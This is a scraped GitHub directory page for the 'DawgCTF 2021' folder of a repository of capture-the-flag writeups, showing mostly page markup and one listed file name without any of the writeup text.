01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>DawgCTF 2021<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/DawgCTF%202021" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/mrajabinasab/CTF-Writeups/file-list/main/DawgCTF%202021"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>DawgCTF2021 Writeups.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" 